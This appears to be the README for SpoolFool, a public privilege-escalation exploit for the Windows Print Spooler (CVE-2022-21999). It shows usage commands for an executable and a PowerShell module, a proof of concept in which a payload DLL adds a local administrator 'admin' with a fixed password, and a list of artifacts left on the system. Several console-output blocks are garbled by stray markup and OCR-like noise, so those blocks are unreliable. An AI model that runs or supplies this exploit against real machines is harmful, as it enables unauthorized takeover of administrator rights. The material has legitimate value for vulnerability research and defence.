

The provided exploit should work by default on all Windows desktop versions.

Please see the blog post for full technical details <u>here</u>.

Usage

```
PS C:\SpoolFool> .\SpoolFool.exe

SpoolFool
By Oliver Lyak (@ly4k_)

Examples:
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
C:\SpoolFool\SpoolFool.exe -dll add_user.dll
```

Powershell

```
PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool

SpoolFool
By Oliver Lyak (@ly4k_)

Examples:
   -dll add_user.dll
   -dll add_user.dll -printer 'My Printer'
   -dll add_user.dll -dir 'SECRET'
   -dll add_user.dll -printer 'My Printer' -dir
```

Proof of Concept

The following PoC uses a DLL that creates a new local administrator admin / Passw0rd! . The DLL (AddUser.dll) and the source code can be found in this repository.

```
PS C:\SpoolFool> net user admin
The user name could not be found.

Nore help is available by typing NET HELPHSG 2221.

PS C:\SpoolFool> \SpoolFool \square\text{SpoolFool} \text{ \text{
```

Second run

The following PoC demonstrates a second run of the provided exploit. Notice that the vulnerability is not exploited this time in order to load the DLL.

```
### Windows PowerShell (MBO)

**PS C:\SpoolFool> \SpoolFool> \SpoolFool\ exe -dll \AnotherPayload.dll

(*) Using printer name: Microsoft XPS Document Writer v4

(*) Using three directory: C:\Users\tilde{\text{Users}} \text{Users} \text{Use
```

Artifacts

After the exploit has been executed, the following artifacts will be left for later cleanup:

- The created printer driver directory is not removed
- The payload DLL is copied to the printer driver directory and it is not removed
- Any created printer is not removed
- The SpoolDirectory value of the targeted printer is not restored

Authors

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References

• SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)

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